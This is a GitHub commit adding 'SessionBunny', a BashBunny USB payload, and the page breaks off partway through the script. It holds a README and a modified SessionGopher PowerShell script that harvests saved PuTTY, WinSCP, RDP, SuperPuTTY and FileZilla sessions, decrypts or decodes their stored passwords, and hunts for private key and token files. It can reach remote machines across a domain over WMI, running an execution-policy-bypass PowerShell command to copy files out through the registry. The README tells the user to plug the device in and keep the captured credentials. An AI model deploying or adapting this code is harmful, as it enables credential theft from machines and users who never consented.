Uploaded SessionBunny
Utilize the famous, here slightly modified SessionGopher script, to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Decide which inforamtion you wanna take with you - save it onto your BashBunny!pull/494/head
parent
387a7fea51
commit
244dbec1eb
|
@ -0,0 +1,22 @@
|
||||||
|
**Title: SessionBunny**
|
||||||
|
|
||||||
|
Author: 0iphor13
|
||||||
|
Credit for SessionGopher: Brandon Arvanaghi
|
||||||
|
|
||||||
|
Version: 1.0
|
||||||
|
|
||||||
|
**Instruction:**
|
||||||
|
|
||||||
|
This payload will run the famous SessionGopher script, which was only slightly modified. Searches for PuTTY, WinSCP, and Remote Desktop saved sessions, decrypts saved passwords for WinSCP,
|
||||||
|
Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords.
|
||||||
|
After you recieve the information, save the items you are interested in simply on your BashBunny.
|
||||||
|
|
||||||
|
#
|
||||||
|
|
||||||
|
**Instruction:**
|
||||||
|
|
||||||
|
Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt
|
||||||
|
#
|
||||||
|
Plug in BashBunny.
|
||||||
|
Wait for the script to finish and decide what you wanna do with the information gathered
|
||||||
|
![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png)
|
|
@ -0,0 +1,948 @@
|
||||||
|
function Invoke-SessionBunny
|
||||||
|
{
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()] Param (
|
||||||
|
[Parameter(Position = 0, Mandatory = $False)]
|
||||||
|
[String]
|
||||||
|
$Computername,
|
||||||
|
|
||||||
|
[Parameter(Position= 1 , Mandatory = $False)]
|
||||||
|
[String]
|
||||||
|
$Credential,
|
||||||
|
|
||||||
|
[Parameter(Position= 2 , Mandatory = $False)]
|
||||||
|
[Alias("iL")]
|
||||||
|
[String]
|
||||||
|
$Inputlist,
|
||||||
|
|
||||||
|
[Parameter(Position = 3, Mandatory = $False)]
|
||||||
|
[Switch]
|
||||||
|
$AllDomain,
|
||||||
|
|
||||||
|
[Parameter(Position = 4, Mandatory = $False)]
|
||||||
|
[Switch]
|
||||||
|
$Everything,
|
||||||
|
|
||||||
|
[Parameter(Position = 5, Mandatory = $False)]
|
||||||
|
[Switch]
|
||||||
|
$ExcludeDC,
|
||||||
|
|
||||||
|
[Parameter(Position = 6, Mandatory = $False)]
|
||||||
|
[Switch]
|
||||||
|
[Alias("o")]
|
||||||
|
$OutCSV,
|
||||||
|
|
||||||
|
[Parameter(Position=8, Mandatory = $False)]
|
||||||
|
[String]
|
||||||
|
$OutputDirectory = "$pwd\SessionGopher-" + (Get-Date -Format o | foreach {$_ -replace ":", "."})
|
||||||
|
)
|
||||||
|
|
||||||
|
Write-Output '
|
||||||
|
o
|
||||||
|
o
|
||||||
|
o_
|
||||||
|
/ ". SessionGopher
|
||||||
|
," _-" Bunny Edition (0iphor13)
|
||||||
|
," m m
|
||||||
|
..+ ) Brandon Arvanaghi
|
||||||
|
`m..m @arvanaghi | arvanaghi.com
|
||||||
|
'
|
||||||
|
$ErrorActionPreference = "SilentlyContinue"
|
||||||
|
#clear error listing
|
||||||
|
$Error.clear()
|
||||||
|
if ($OutCSV) {
|
||||||
|
Write-Verbose "Creating directory $OutputDirectory."
|
||||||
|
New-Item -ItemType Directory $OutputDirectory | Out-Null
|
||||||
|
New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null
|
||||||
|
New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null
|
||||||
|
New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null
|
||||||
|
New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null
|
||||||
|
New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null
|
||||||
|
if ($Everything) {
|
||||||
|
New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null
|
||||||
|
New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null
|
||||||
|
New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Credential) {
|
||||||
|
$Credentials = Get-Credential -Credential $Credential
|
||||||
|
}
|
||||||
|
|
||||||
|
# Value for HKEY_USERS hive
|
||||||
|
$HKU = 2147483651
|
||||||
|
# Value for HKEY_LOCAL_MACHINE hive
|
||||||
|
$HKLM = 2147483650
|
||||||
|
|
||||||
|
$PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
|
||||||
|
$WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
|
||||||
|
$RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers"
|
||||||
|
|
||||||
|
if ($Inputlist -or $AllDomain -or $ComputerName) {
|
||||||
|
|
||||||
|
# Whether we read from an input file or query active directory
|
||||||
|
$Reader = ""
|
||||||
|
|
||||||
|
if ($AllDomain) {
|
||||||
|
Write-Verbose "Getting member computers in the domain."
|
||||||
|
$Reader = GetComputersFromActiveDirectory
|
||||||
|
} elseif ($Inputlist) {
|
||||||
|
Write-Verbose "Reading the list of targets."
|
||||||
|
$Reader = Get-Content ((Resolve-Path $Inputlist).Path)
|
||||||
|
} elseif ($ComputerName) {
|
||||||
|
Write-Verbose "Setting target computer as $ComputerName."
|
||||||
|
$Reader = $ComputerName
|
||||||
|
}
|
||||||
|
|
||||||
|
$optionalCreds = @{}
|
||||||
|
if ($Credentials) {
|
||||||
|
$optionalCreds['Credential'] = $Credentials
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($RemoteComputer in $Reader) {
|
||||||
|
|
||||||
|
if ($AllDomain) {
|
||||||
|
# Extract just the name from the System.DirectoryServices.SearchResult object
|
||||||
|
$RemoteComputer = $RemoteComputer.Properties.name
|
||||||
|
}
|
||||||
|
if ($RemoteComputer) {
|
||||||
|
Write-Output "Digging on" $RemoteComputer"..."
|
||||||
|
|
||||||
|
$SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'}
|
||||||
|
|
||||||
|
foreach ($SID in $SIDs) {
|
||||||
|
|
||||||
|
# Get the username for SID we discovered has saved sessions
|
||||||
|
$MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {}
|
||||||
|
$Source = (($RemoteComputer + "\" + $MappedUserName) -Join "")
|
||||||
|
|
||||||
|
# Created for each user found. Contains all sessions information for that user.
|
||||||
|
$UserObject = New-Object PSObject
|
||||||
|
|
||||||
|
<#
|
||||||
|
PuTTY: contains hostname and usernames
|
||||||
|
SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored
|
||||||
|
RDP: contains hostname and username of sessions
|
||||||
|
FileZilla: hostname, username, relevant protocol information, decoded passwords if stored
|
||||||
|
WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used
|
||||||
|
#>
|
||||||
|
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfRDPSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
|
||||||
|
|
||||||
|
# Construct tool registry/filesystem paths from SID or username
|
||||||
|
$RDPPath = $SID + $RDPPathEnding
|
||||||
|
$PuTTYPath = $SID + $PuTTYPathEnding
|
||||||
|
$WinSCPPath = $SID + $WinSCPPathEnding
|
||||||
|
$SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'"
|
||||||
|
$FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'"
|
||||||
|
|
||||||
|
$RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds
|
||||||
|
$PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds
|
||||||
|
$WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds
|
||||||
|
$SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
|
||||||
|
$FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
|
||||||
|
|
||||||
|
# If any WinSCP saved sessions exist on this box...
|
||||||
|
if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
|
||||||
|
Write-Verbose "Found saved WinSCP sessions."
|
||||||
|
# Get all sessions
|
||||||
|
$WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames
|
||||||
|
|
||||||
|
foreach ($WinSCPSession in $WinSCPSessions) {
|
||||||
|
|
||||||
|
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
|
||||||
|
$WinSCPSessionObject.Source = $Source
|
||||||
|
$WinSCPSessionObject.Session = $WinSCPSession
|
||||||
|
|
||||||
|
$Location = $WinSCPPath + "\" + $WinSCPSession
|
||||||
|
|
||||||
|
$WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
|
||||||
|
$WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue
|
||||||
|
$WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue
|
||||||
|
|
||||||
|
if ($WinSCPSessionObject.Password) {
|
||||||
|
|
||||||
|
$MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security"
|
||||||
|
|
||||||
|
$MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue
|
||||||
|
|
||||||
|
if (!$MasterPassUsed) {
|
||||||
|
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
|
||||||
|
} else {
|
||||||
|
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
|
||||||
|
|
||||||
|
} # For Each WinSCP Session
|
||||||
|
|
||||||
|
if ($ArrayOfWinSCPSessions.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "WinSCP Sessions"
|
||||||
|
$ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} # If path to WinSCP exists
|
||||||
|
|
||||||
|
if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
|
||||||
|
Write-Verbose "Found saved PuTTY sessions."
|
||||||
|
# Get all sessions
|
||||||
|
$PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames
|
||||||
|
|
||||||
|
foreach ($PuTTYSession in $PuTTYSessions) {
|
||||||
|
|
||||||
|
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
|
||||||
|
|
||||||
|
$Location = $PuTTYPath + "\" + $PuTTYSession
|
||||||
|
|
||||||
|
$PuTTYSessionObject.Source = $Source
|
||||||
|
$PuTTYSessionObject.Session = $PuTTYSession
|
||||||
|
$PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
|
||||||
|
|
||||||
|
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ArrayOfPuTTYSessions.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "PuTTY Sessions"
|
||||||
|
$ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} # If PuTTY session exists
|
||||||
|
|
||||||
|
if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
|
||||||
|
Write-Verbose "Found saved RDP sessions."
|
||||||
|
# Get all sessions
|
||||||
|
$RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames
|
||||||
|
|
||||||
|
foreach ($RDPSession in $RDPSessions) {
|
||||||
|
|
||||||
|
$RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
|
||||||
|
|
||||||
|
$Location = $RDPPath + "\" + $RDPSession
|
||||||
|
|
||||||
|
$RDPSessionObject.Source = $Source
|
||||||
|
$RDPSessionObject.Hostname = $RDPSession
|
||||||
|
$RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue
|
||||||
|
|
||||||
|
[void]$ArrayOfRDPSessions.Add($RDPSessionObject)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ArrayOfRDPSessions.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "Microsoft RDP Sessions"
|
||||||
|
$ArrayOfRDPSessions | Select-Object * | Format-List | Out-String
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} # If RDP sessions exist
|
||||||
|
|
||||||
|
# If we find the SuperPuTTY Sessions.xml file where we would expect it
|
||||||
|
if ($SuperPuTTYPath.Name) {
|
||||||
|
Write-Verbose "Found SupePuTTY sessions.xml"
|
||||||
|
$File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml"
|
||||||
|
$FileContents = DownloadAndExtractFromRemoteRegistry $File
|
||||||
|
|
||||||
|
[xml]$SuperPuTTYXML = $FileContents
|
||||||
|
(ProcessSuperPuTTYFile $SuperPuTTYXML)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If we find the FileZilla sitemanager.xml file where we would expect it
|
||||||
|
if ($FileZillaPath.Name) {
|
||||||
|
Write-Verbose "Found FileZilaa sitemanager.xml"
|
||||||
|
$File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml"
|
||||||
|
$FileContents = DownloadAndExtractFromRemoteRegistry $File
|
||||||
|
|
||||||
|
[xml]$FileZillaXML = $FileContents
|
||||||
|
(ProcessFileZillaFile $FileZillaXML)
|
||||||
|
|
||||||
|
} # FileZilla
|
||||||
|
|
||||||
|
} # for each SID
|
||||||
|
|
||||||
|
if ($Everything) {
|
||||||
|
Write-Verbose "Running the every test. Reading files on the target machine. This may take few minutes."
|
||||||
|
$ArrayofPPKFiles = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayofRDPFiles = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayofsdtidFiles = New-Object System.Collections.ArrayList
|
||||||
|
|
||||||
|
$FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name)
|
||||||
|
|
||||||
|
(ProcessThoroughRemote $FilePathsFound)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Check if the error is access denied.
|
||||||
|
$ourerror = $error[0]
|
||||||
|
if ($ourerror.Exception.Message.Contains("Access is denied.")) {
|
||||||
|
Write-Warning "Access Denied on $RemoteComputer"
|
||||||
|
} elseif ($ourerror.Exception.Message.Contains("The RPC server is unavailable.")) {
|
||||||
|
Write-Warning "Cannot connect to $RemoteComputer. Is the host up and accepting RPC connections?"
|
||||||
|
} else {
|
||||||
|
Write-Debug "$($ourerror.Exception.Message)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}# for each remote computer
|
||||||
|
# Else, we run SessionGopher locally
|
||||||
|
} else {
|
||||||
|
|
||||||
|
Write-Output "Digging on"(Hostname)"..."
|
||||||
|
|
||||||
|
# Aggregate all user hives in HKEY_USERS into a variable
|
||||||
|
$UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'}
|
||||||
|
|
||||||
|
# For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS.
|
||||||
|
foreach($Hive in $UserHives) {
|
||||||
|
|
||||||
|
# Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information.
|
||||||
|
$UserObject = New-Object PSObject
|
||||||
|
|
||||||
|
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfPPKFiles = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfRDPSessions = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfRDPFiles = New-Object System.Collections.ArrayList
|
||||||
|
$ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
|
||||||
|
|
||||||
|
$objUser = (GetMappedSID)
|
||||||
|
$Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf)
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value
|
||||||
|
|
||||||
|
# Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key
|
||||||
|
$PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding"
|
||||||
|
$WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding"
|
||||||
|
$MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding"
|
||||||
|
$FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml"
|
||||||
|
$SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml"
|
||||||
|
|
||||||
|
if (Test-Path $FileZillaPath) {
|
||||||
|
|
||||||
|
[xml]$FileZillaXML = Get-Content $FileZillaPath
|
||||||
|
(ProcessFileZillaFile $FileZillaXML)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Test-Path $SuperPuTTYPath) {
|
||||||
|
|
||||||
|
[xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath
|
||||||
|
(ProcessSuperPuTTYFile $SuperPuTTYXML)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Test-Path $MicrosoftRDPPath) {
|
||||||
|
|
||||||
|
# Aggregates all saved sessions from that user's RDP client
|
||||||
|
$AllRDPSessions = Get-ChildItem $MicrosoftRDPPath
|
||||||
|
|
||||||
|
(ProcessRDPLocal $AllRDPSessions)
|
||||||
|
|
||||||
|
} # If (Test-Path MicrosoftRDPPath)
|
||||||
|
|
||||||
|
if (Test-Path $WinSCPPath) {
|
||||||
|
|
||||||
|
# Aggregates all saved sessions from that user's WinSCP client
|
||||||
|
$AllWinSCPSessions = Get-ChildItem $WinSCPPath
|
||||||
|
|
||||||
|
(ProcessWinSCPLocal $AllWinSCPSessions)
|
||||||
|
|
||||||
|
} # If (Test-Path WinSCPPath)
|
||||||
|
|
||||||
|
if (Test-Path $PuTTYPath) {
|
||||||
|
|
||||||
|
# Aggregates all saved sessions from that user's PuTTY client
|
||||||
|
$AllPuTTYSessions = Get-ChildItem $PuTTYPath
|
||||||
|
|
||||||
|
(ProcessPuTTYLocal $AllPuTTYSessions)
|
||||||
|
|
||||||
|
} # If (Test-Path PuTTYPath)
|
||||||
|
|
||||||
|
} # For each Hive in UserHives
|
||||||
|
|
||||||
|
# If run in Thorough Mode
|
||||||
|
if ($Everything) {
|
||||||
|
|
||||||
|
# Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem
|
||||||
|
$PPKExtensionFilesINodes = New-Object System.Collections.ArrayList
|
||||||
|
$RDPExtensionFilesINodes = New-Object System.Collections.ArrayList
|
||||||
|
$sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList
|
||||||
|
|
||||||
|
# All drives found on system in one variable
|
||||||
|
$AllDrives = Get-PSDrive
|
||||||
|
|
||||||
|
(ProcessThoroughLocal $AllDrives)
|
||||||
|
|
||||||
|
(ProcessPPKFile $PPKExtensionFilesINodes)
|
||||||
|
(ProcessRDPFile $RDPExtensionFilesINodes)
|
||||||
|
(ProcesssdtidFile $sdtidExtensionFilesINodes)
|
||||||
|
|
||||||
|
} # If Thorough
|
||||||
|
|
||||||
|
} # Else -- run SessionGopher locally
|
||||||
|
|
||||||
|
} # Invoke-SessionGopher
|
||||||
|
|
||||||
|
####################################################################################
|
||||||
|
####################################################################################
|
||||||
|
## Registry Querying Helper Functions
|
||||||
|
####################################################################################
|
||||||
|
####################################################################################
|
||||||
|
|
||||||
|
# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive
|
||||||
|
function GetMappedSID {
|
||||||
|
|
||||||
|
# If getting SID from remote computer
|
||||||
|
if ($Inputlist -or $ComputerName -or $AllDomain) {
|
||||||
|
# Get the username for SID we discovered has saved sessions
|
||||||
|
$SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID"
|
||||||
|
$Value = "ProfileImagePath"
|
||||||
|
|
||||||
|
(Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue
|
||||||
|
# Else, get local SIDs
|
||||||
|
} else {
|
||||||
|
# Converts user SID in HKEY_USERS to username
|
||||||
|
$SID = (Split-Path $Hive.Name -Leaf)
|
||||||
|
$objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID")
|
||||||
|
$objSID.Translate( [System.Security.Principal.NTAccount])
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function DownloadAndExtractFromRemoteRegistry($File) {
|
||||||
|
# The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by
|
||||||
|
# downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location
|
||||||
|
$fullregistrypath = "HKLM:\Software\Microsoft\DRM"
|
||||||
|
$registrydownname = "ReadMe"
|
||||||
|
$regpath = "SOFTWARE\Microsoft\DRM"
|
||||||
|
|
||||||
|
# On remote system, save file to registry
|
||||||
|
Write-Verbose "Reading remote file and writing on remote registry"
|
||||||
|
$remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force'
|
||||||
|
$remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"'
|
||||||
|
|
||||||
|
$null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds
|
||||||
|
|
||||||
|
# Sleeping to let remote system read and store file
|
||||||
|
Start-Sleep -s 15
|
||||||
|
|
||||||
|
$remote_reg = ""
|
||||||
|
|
||||||
|
# Grab file from remote system's registry
|
||||||
|
$remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds
|
||||||
|
|
||||||
|
$decoded = [System.Convert]::FromBase64String($remote_reg.sValue)
|
||||||
|
$UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded)
|
||||||
|
|
||||||
|
# Removing Registry value from remote system
|
||||||
|
$null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds
|
||||||
|
|
||||||
|
$UTF8decoded
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
####################################################################################
|
||||||
|
####################################################################################
|
||||||
|
## File Processing Helper Functions
|
||||||
|
####################################################################################
|
||||||
|
####################################################################################
|
||||||
|
|
||||||
|
function ProcessThoroughLocal($AllDrives) {
|
||||||
|
|
||||||
|
foreach ($Drive in $AllDrives) {
|
||||||
|
# If the drive holds a filesystem
|
||||||
|
if ($Drive.Provider.Name -eq "FileSystem") {
|
||||||
|
$Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue
|
||||||
|
foreach ($Dir in $Dirs) {
|
||||||
|
Switch ($Dir.Extension) {
|
||||||
|
".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
|
||||||
|
".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)}
|
||||||
|
".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function ProcessThoroughRemote($FilePathsFound) {
|
||||||
|
|
||||||
|
foreach ($FilePath in $FilePathsFound) {
|
||||||
|
# Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File)
|
||||||
|
$EverythingObject = "" | Select-Object -Property Source,Path
|
||||||
|
$EverythingObject.Source = $RemoteComputer
|
||||||
|
|
||||||
|
$Extension = [IO.Path]::GetExtension($FilePath.Name)
|
||||||
|
|
||||||
|
if ($Extension -eq ".ppk") {
|
||||||
|
$EverythingObject.Path = $FilePath.Name
|
||||||
|
[void]$ArrayofPPKFiles.Add($EverythingObject)
|
||||||
|
} elseif ($Extension -eq ".rdp") {
|
||||||
|
$EverythingObject.Path = $FilePath.Name
|
||||||
|
[void]$ArrayofRDPFiles.Add($EverythingObject)
|
||||||
|
} elseif ($Extension -eq ".sdtid") {
|
||||||
|
$EverythingObject.Path = $FilePath.Name
|
||||||
|
[void]$ArrayofsdtidFiles.Add($EverythingObject)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ArrayOfPPKFiles.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "PuTTY Private Key Files (.ppk)"
|
||||||
|
$ArrayOfPPKFiles | Format-List | Out-String
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ArrayOfRDPFiles.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
$ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
|
||||||
|
} else {
|
||||||
|
Write-Output "Microsoft RDP Connection Files (.rdp)"
|
||||||
|
$ArrayOfRDPFiles | Format-List | Out-String
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($ArrayOfsdtidFiles.count -gt 0) {
|
||||||
|
|
||||||
|
$UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
|
||||||
|
|
||||||
|
if ($OutCSV) {
|
||||||
|
